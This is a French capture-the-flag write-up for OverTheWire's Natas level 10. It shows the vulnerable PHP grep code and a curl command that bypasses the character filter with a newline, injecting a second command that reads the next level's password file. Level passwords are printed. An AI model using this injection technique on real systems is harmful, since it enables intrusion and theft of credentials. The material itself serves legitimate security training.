Niveau 10

Natas 10

Level Goal

Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org

En se connectant à la page du challenge (curl http://natas10.natas.labs.overthewire.org -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu) on a un autre formulaire de recherche :

<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>

Si l'on consulte le code source associé on a :

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

La faille est la même que pour l'épreuve d'avant mais la valeur du champ needle est filtrée de manière à empêcher l'utilisation de certains caractères permettant d'exécuter une seconde commande derrière la première : ;, | et &.

Essayons d'envoyer 2 commandes en rajoutant un saut de ligne au champ que l'on envoie :

curl -d $'needle=\ncat /etc/natas_webpass/natas11 #' -X POST  http://natas10.natas.labs.overthewire.org -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

Et on obtient la réponse :

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

Note: Lors de l'utilisation de la dernière commande, le saut de ligne \n est encodé de la bonne manière grâce à la présence du caractère $ juste avant le début de la chaîne de caractères